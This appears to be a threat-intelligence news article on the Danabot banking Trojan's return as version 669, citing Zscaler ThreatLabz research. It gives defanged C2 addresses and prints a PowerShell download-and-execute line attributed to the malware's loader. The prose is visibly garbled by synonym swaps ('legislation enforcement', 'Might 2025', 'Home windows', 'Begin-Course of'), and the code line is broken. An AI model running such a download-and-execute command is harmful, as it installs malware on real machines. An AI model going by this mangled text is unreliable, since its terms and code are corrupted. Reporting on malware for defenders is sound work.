Danabot, a infamous banking Trojan, has made a big comeback with its new model 669 after a interval of inactivity triggered by Operation Endgame’s legislation enforcement sweep in Might 2025.
This superior malware’s resurgence indicators a brand new risk wave concentrating on monetary establishments, cryptocurrency customers, and particular person victims utilizing subtle multi-stage assaults.
Danabot tracks a legacy of credential theft, monetary fraud, and knowledge exfiltration, its newest evolution marks a technical refinement in each behavioral ways and infrastructure.
The malware leverages a number of assault vectors to contaminate techniques, together with spear-phishing campaigns and malicious paperwork designed to ship its payload.
Victims are lured into executing obfuscated attachments utilizing convincing social engineering, which triggers the preliminary an infection.
As soon as established, Danabot model 669 deploys a number of modules specializing in knowledge harvesting, lateral motion throughout networks, and payload supply tailor-made for Home windows environments.
The malware additionally targets cryptocurrency wallets, amplifying its attain past conventional banking fraud.
Safety researchers from Zscaler ThreatLabz recognized and analyzed model 669, confirming its revival and exposing its technical underpinnings.
Notably, ThreatLabz documented shifts in Danabot’s command-and-control (C2) infrastructure.
The malware now employs a mixture of typical IP-based C2s and .onion addresses to handle payloads and knowledge exfiltration, making certain operational resilience and complicating mitigation efforts.
Key C2 addresses embrace 62.60.226[.]146:443, 62.60.226[.]154:443, and several other .onion domains comparable to aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwItbcysuybirygxzvp23ad[.]onion:44.
An infection Mechanism Highlight
On the core of Danabot’s an infection course of is a strong loader. As soon as executed, this loader downloads further encrypted modules and configuration recordsdata from a number of C2 servers. The next code snippet represents the preliminary stage payload deployment:
Invoke-WebRequest -Uri ‘ -OutFile ‘C:UsersPublicpayload.exe’; Begin-Course of ‘C:UsersPublicpayload.exe’
After establishing a foothold, Danabot injects itself into authentic Home windows processes as a persistence measure and leverages scheduled duties for continuous execution.
The modular design permits the risk actor to remotely handle new payloads and replace an infection parameters with out direct consumer interplay.
This strategic flexibility, coupled with enhanced detection evasion via encrypted configuration and C2 communications, makes Danabot model 669 a formidable adversary within the present risk panorama.
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